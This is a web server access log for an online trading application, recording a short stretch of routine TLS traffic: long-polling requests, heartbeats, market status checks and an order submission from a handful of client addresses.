[09/Jan/2026:15:16:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943290430 HTTP/1.1" -
[09/Jan/2026:15:16:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943275157 HTTP/1.1" -
[09/Jan/2026:15:16:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:16:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:16:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943274707 HTTP/1.1" -
[09/Jan/2026:15:16:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943281962 HTTP/1.1" -
[09/Jan/2026:15:16:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943278405 HTTP/1.1" -
[09/Jan/2026:15:16:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943295497 HTTP/1.1" -
[09/Jan/2026:15:16:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943280178 HTTP/1.1" -
[09/Jan/2026:15:16:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943279870 HTTP/1.1" -
[09/Jan/2026:15:16:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943287000 HTTP/1.1" -
[09/Jan/2026:15:16:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943283468 HTTP/1.1" -
[09/Jan/2026:15:16:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943300568 HTTP/1.1" -
[09/Jan/2026:15:16:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943285219 HTTP/1.1" -
[09/Jan/2026:15:16:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943284994 HTTP/1.1" -
[09/Jan/2026:15:16:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943292102 HTTP/1.1" -
[09/Jan/2026:15:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:16:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943288493 HTTP/1.1" -
[09/Jan/2026:15:16:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:16:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:16:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:16:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:17:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943305645 HTTP/1.1" -
[09/Jan/2026:15:17:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943290256 HTTP/1.1" -
[09/Jan/2026:15:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943290044 HTTP/1.1" -
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943297132 HTTP/1.1" -
[09/Jan/2026:15:17:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:17:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1491
[09/Jan/2026:15:17:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943293527 HTTP/1.1" -
[09/Jan/2026:15:17:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943310701 HTTP/1.1" -
[09/Jan/2026:15:17:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943295278 HTTP/1.1" -
[09/Jan/2026:15:17:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943295095 HTTP/1.1" -
[09/Jan/2026:15:17:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943302198 HTTP/1.1" -
[09/Jan/2026:15:17:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943298557 HTTP/1.1" -
[09/Jan/2026:15:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943315732 HTTP/1.1" -
[09/Jan/2026:15:17:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943300316 HTTP/1.1" -
[09/Jan/2026:15:17:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943300289 HTTP/1.1" -
[09/Jan/2026:15:17:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943307299 HTTP/1.1" -
[09/Jan/2026:15:17:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943303648 HTTP/1.1" -
[09/Jan/2026:15:17:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943320758 HTTP/1.1" -
[09/Jan/2026:15:17:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943305336 HTTP/1.1" -
[09/Jan/2026:15:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943305397 HTTP/1.1" -
[09/Jan/2026:15:17:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943312378 HTTP/1.1" -
[09/Jan/2026:15:17:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943308717 HTTP/1.1" -
[09/Jan/2026:15:17:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943325820 HTTP/1.1" -
[09/Jan/2026:15:17:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943310385 HTTP/1.1" -
[09/Jan/2026:15:17:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943310554 HTTP/1.1" -
[09/Jan/2026:15:17:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943317410 HTTP/1.1" -
[09/Jan/2026:15:17:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943313787 HTTP/1.1" -
[09/Jan/2026:15:17:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943315423 HTTP/1.1" -
[09/Jan/2026:15:17:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943330886 HTTP/1.1" -
[09/Jan/2026:15:17:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943315671 HTTP/1.1" -
[09/Jan/2026:15:17:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943322516 HTTP/1.1" -
[09/Jan/2026:15:17:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943318831 HTTP/1.1" -
[09/Jan/2026:15:17:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943320445 HTTP/1.1" -
[09/Jan/2026:15:17:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943335964 HTTP/1.1" -
[09/Jan/2026:15:17:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943320725 HTTP/1.1" -
[09/Jan/2026:15:17:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943327543 HTTP/1.1" -
